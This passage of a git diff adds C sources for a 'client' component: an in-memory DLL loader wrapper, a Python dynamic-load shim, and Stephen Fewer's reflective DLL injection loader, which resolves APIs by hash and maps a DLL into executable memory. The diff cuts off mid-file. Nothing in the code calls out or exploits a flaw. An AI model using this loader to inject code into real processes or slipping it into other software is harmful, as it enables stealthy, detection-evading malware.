MemoryFreeLibrary(HMEMORYMODULE) +FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR) + +HMEMORYMODULE MemoryLoadLibrayEx(void *, + load_func, getproc_func, free_func, userdata) + +(there are also some resource functions which are not used here...) + +General API in this file: +========================= + +HMODULE MyLoadLibrary(LPCSTR, void *, userdata) +HMODULE MyGetModuleHandle(LPCSTR) +BOOL MyFreeLibrary(HMODULE) +FARPROC MyGetProcAddress(HMODULE, LPCSTR) + + */ + +/**************************************************************** + * A linked list of loaded MemoryModules. + */ +typedef struct tagLIST { + HCUSTOMMODULE module; + LPCSTR name; + struct tagLIST *next; + struct tagLIST *prev; + int refcount; +} LIST; + +static LIST *libraries; + +int level; + +static int dprintf(char *fmt, ...) +{ +#ifdef VERBOSE + va_list marker; + int i; + + va_start(marker, fmt); + for (i = 0; i < level; ++i) { + putchar(' '); + putchar(' '); + } + return vfprintf(stderr, fmt, marker) + 2*level; +#else + return 0; +#endif +} + +#define PUSH() level++ +#define POP() level-- + +/**************************************************************** + * Search for a loaded MemoryModule in the linked list, either by name + * or by module handle. + */ +static LIST *_FindMemoryModule(LPCSTR name, HMODULE module) +{ + LIST *lib = libraries; + while (lib) { + if (name && 0 == _stricmp(name, lib->name)) { + dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount); + return lib; + } else if (module == lib->module) { + dprintf("_FindMemoryModule(%s, %p) -> %s[%d]\n", name, module, lib->name, lib->refcount); + return lib; + } else { + lib = lib->next; + } + } + return NULL; +} + +/**************************************************************** + * Insert a MemoryModule into the linked list of loaded modules + */ +static LIST *_AddMemoryModule(LPCSTR name, HCUSTOMMODULE module) +{ + LIST *entry = (LIST *)malloc(sizeof(LIST)); + entry->name = _strdup(name); + entry->module = module; + entry->next = libraries; + entry->prev = NULL; + entry->refcount = 1; + libraries = entry; + dprintf("_AddMemoryModule(%s, %p) -> %p[%d]\n", + name, module, entry, entry->refcount); + return entry; +} + +/**************************************************************** + * Helper functions for MemoryLoadLibraryEx + */ +static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata) +{ + return MyGetProcAddress(module, name); +} + +static void _FreeLibrary(HCUSTOMMODULE module, void *userdata) +{ + MyFreeLibrary(module); +} + +static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata) +{ + HCUSTOMMODULE result; + LIST *lib; + dprintf("_LoadLibrary(%s, %p)\n", filename, userdata); + PUSH(); + lib = _FindMemoryModule(filename, NULL); + if (lib) { + lib->refcount += 1; + POP(); + dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n", + filename, userdata, lib->name, lib->refcount); + return lib->module; + } + if (userdata) { + PyObject *findproc = (PyObject *)userdata; + PyObject *res = PyObject_CallFunction(findproc, "s", filename); + if (res && PyString_AsString(res)) { + result = MemoryLoadLibraryEx(PyString_AsString(res), + _LoadLibrary, _GetProcAddress, _FreeLibrary, + userdata); + Py_DECREF(res); + if (result) { + lib = _AddMemoryModule(filename, result); + POP(); + dprintf("_LoadLibrary(%s, %p) -> %s[%d]\n\n", + filename, userdata, lib->name, lib->refcount); + return lib->module; + } else { + dprintf("_LoadLibrary(%s, %p) failed with error %d\n", + filename, userdata, GetLastError()); + } + } else { + PyErr_Clear(); + } + } + result = (HCUSTOMMODULE)LoadLibraryA(filename); + POP(); + dprintf("LoadLibraryA(%s) -> %p\n\n", filename, result); + return result; +} + +/**************************************************************** + * Public functions + */ +HMODULE MyGetModuleHandle(LPCSTR name) +{ + LIST *lib; + lib = _FindMemoryModule(name, NULL); + if (lib) + return lib->module; + return GetModuleHandle(name); +} + +HMODULE MyLoadLibrary(LPCSTR name, void *bytes, void *userdata) +{ + if (userdata) { + HCUSTOMMODULE mod = _LoadLibrary(name, userdata); + if (mod) + return mod; + } else if (bytes) { + HCUSTOMMODULE mod = MemoryLoadLibraryEx(bytes, + _LoadLibrary, + _GetProcAddress, + _FreeLibrary, + userdata); + if (mod) { + LIST *lib = _AddMemoryModule(name, mod); + return lib->module; + } + } + return LoadLibrary(name); +} + +BOOL MyFreeLibrary(HMODULE module) +{ + LIST *lib = _FindMemoryModule(NULL, module); + if (lib) { + if (--lib->refcount == 0) + MemoryFreeLibrary(module); + return TRUE; + } else + return FreeLibrary(module); +} + +FARPROC MyGetProcAddress(HMODULE module, LPCSTR procname) +{ + FARPROC proc; + LIST *lib = _FindMemoryModule(NULL, module); + if (lib) { + dprintf("MyGetProcAddress(%p, %p(%s))\n", module, procname, HIWORD(procname) ? procname : ""); + PUSH(); + proc = MemoryGetProcAddress(lib->module, procname); + POP(); + dprintf("MyGetProcAddress(%p, %p(%s)) -> %p\n", module, procname, HIWORD(procname) ? procname : "", proc); + return proc; + } else + return GetProcAddress(module, procname); +} diff --git a/client/sources/MyLoadLibrary.h b/client/sources/MyLoadLibrary.h new file mode 100644 index 00000000..ce8eb9ba --- /dev/null +++ b/client/sources/MyLoadLibrary.h @@ -0,0 +1,13 @@ +#ifndef GENERALLOADLIBRARY_H +#define GENERALLOADLIBRARY_H + +HMODULE MyLoadLibrary(LPCSTR, void *, void *); + +HMODULE MyGetModuleHandle(LPCSTR); + +BOOL MyFreeLibrary(HMODULE); + +FARPROC MyGetProcAddress(HMODULE, LPCSTR); + + +#endif diff --git a/client/sources/Python-dynload.c b/client/sources/Python-dynload.c new file mode 100644 index 00000000..f856aa33 --- /dev/null +++ b/client/sources/Python-dynload.c @@ -0,0 +1,97 @@ +/* **************** Python-dynload.c **************** */ +#include "Python-dynload.h" +#include +#include "MyLoadLibrary.h" +#include "MemoryModule.h" +#include "actctx.h" +#include + +struct IMPORT imports[] = { +#include "import-tab.c" + { NULL, NULL }, /* sentinel */ +}; + +void Py_XDECREF(PyObject *ob) +{ + static PyObject *tup; + if (tup == NULL) + tup = PyTuple_New(1); + /* Let the tuple take the refcount */ + PyTuple_SetItem(tup, 0, ob); + /* and overwrite it */ + PyTuple_SetItem(tup, 0, PyInt_FromLong(0)); +} + +void Py_XINCREF(PyObject *ob) +{ + if (ob) + Py_BuildValue("O", ob); +} + +int _load_python_FromFile(char *dllname) +{ + int i; + struct IMPORT *p = imports; + HMODULE hmod; + + // In some cases (eg, ISAPI filters), Python may already be + // in our process. If so, we don't want it to try and + // load a new one! (Actually, we probably should not even attempt + // to load an 'embedded' Python should GetModuleHandle work - but + // that is less clear than this straight-forward case) + // Get the basename of the DLL. + char *dllbase = dllname + strlen(dllname); + while (dllbase != dllname && *dllbase != '\\') + dllbase--; + if (*dllbase=='\\') + ++dllbase; + hmod = GetModuleHandle(dllbase); + if (hmod == NULL) + hmod = LoadLibrary(dllname); + if (hmod == NULL) { + return 0; + } + + for (i = 0; p->name; ++i, ++p) { + p->proc = (void (*)())GetProcAddress(hmod, p->name); + if (p->proc == NULL) { + OutputDebugString("undef symbol"); + fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name); + return 0; + } + } + + return 1; +} + +int _load_python(char *dllname, char *bytes) +{ + int i; + struct IMPORT *p = imports; + HMODULE hmod; + ULONG_PTR cookie = 0; + if (!bytes) + return _load_python_FromFile(dllname); + + + cookie = _My_ActivateActCtx();//try some windows manifest magic... + //hmod = MemoryLoadLibrary(bytes); + hmod = MyLoadLibrary(dllname, bytes, NULL); + _My_DeactivateActCtx(cookie); + if (hmod == NULL) { + return 0; + } + + for (i = 0; p->name; ++i, ++p) { + //p->proc = (void (*)())MemoryGetProcAddress(hmod, p->name); + p->proc = (void (*)())MyGetProcAddress(hmod, p->name); + if (p->proc == NULL) { + OutputDebugString("undef symbol"); + fprintf(stderr, "undefined symbol %s -> exit(-1)\n", p->name); + return 0; + } + } + + return 1; +} + diff --git a/client/sources/Python-dynload.h b/client/sources/Python-dynload.h new file mode 100644 index 00000000..997d347a --- /dev/null +++ b/client/sources/Python-dynload.h @@ -0,0 +1,57 @@ +/* **************** Python-dynload.h **************** */ +#include "Python-version.h" + +typedef void *PyObject; +typedef void *PyCodeObject; + +typedef PyObject *(*PyCFunction)(PyObject *, PyObject *); + +typedef + enum {PyGILState_LOCKED, PyGILState_UNLOCKED} + PyGILState_STATE; +typedef struct { + char *ml_name; + PyCFunction ml_meth; + int ml_flags; + char *ml_doc; +} PyMethodDef; + +struct IMPORT { + char *name; + void (*proc)(); +}; +extern int _load_python(char *dllname, char *dllbytes); +extern struct IMPORT imports[]; + +#include "import-tab.h" + +extern void Py_XINCREF(PyObject *); +#define snprintf _snprintf +#define Py_DECREF(x) Py_XDECREF(x) +#define Py_INCREF(x) Py_XINCREF(x) + +extern void Py_XDECREF(PyObject *ob); + +#define METH_OLDARGS 0x0000 +#define METH_VARARGS 0x0001 +#define METH_KEYWORDS 0x0002 +/* METH_NOARGS and METH_O must not be combined with the flags above. */ +#define METH_NOARGS 0x0004 +#define METH_O 0x0008 + +/* METH_CLASS and METH_STATIC are a little different; these control + the construction of methods for a class. These cannot be used for + functions in modules. */ +#define METH_CLASS 0x0010 +#define METH_STATIC 0x0020 + +#define PyCFunction_New(ML, SELF) PyCFunction_NewEx((ML), (SELF), NULL) + +#define PyInt_Check(op) PyObject_IsInstance(op, &PyInt_Type) /* ??? */ +#define Py_None (&_Py_NoneStruct) + +#define DL_EXPORT(x) x + +#define Py_InitModule3(name, methods, doc) \ + Py_InitModule4(name, methods, doc, (PyObject *)NULL, \ + PYTHON_API_VERSION) diff --git a/client/sources/Python-version.h b/client/sources/Python-version.h new file mode 100644 index 00000000..42e9b167 --- /dev/null +++ b/client/sources/Python-version.h @@ -0,0 +1,15 @@ +#include +#if (PY_VERSION_HEX < 0x02050000) +# define PYTHON_API_VERSION 1012 + typedef int Py_ssize_t; +#else +# define PYTHON_API_VERSION 1013 +/* The check for _WIN64 must come first, because on win64 both _WIN64 and + * _WIN32 are defined! + */ +# if defined (_WIN64) + typedef __int64 Py_ssize_t; +# elif defined (_WIN32) + typedef int Py_ssize_t; +# endif +#endif diff --git a/client/sources/ReflectiveDllInjection.h b/client/sources/ReflectiveDllInjection.h new file mode 100644 index 00000000..921d5503 --- /dev/null +++ b/client/sources/ReflectiveDllInjection.h @@ -0,0 +1,52 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// + diff --git a/client/sources/ReflectiveLoader.c b/client/sources/ReflectiveLoader.c new file mode 100644 index 00000000..1ce1f54e --- /dev/null +++ b/client/sources/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization 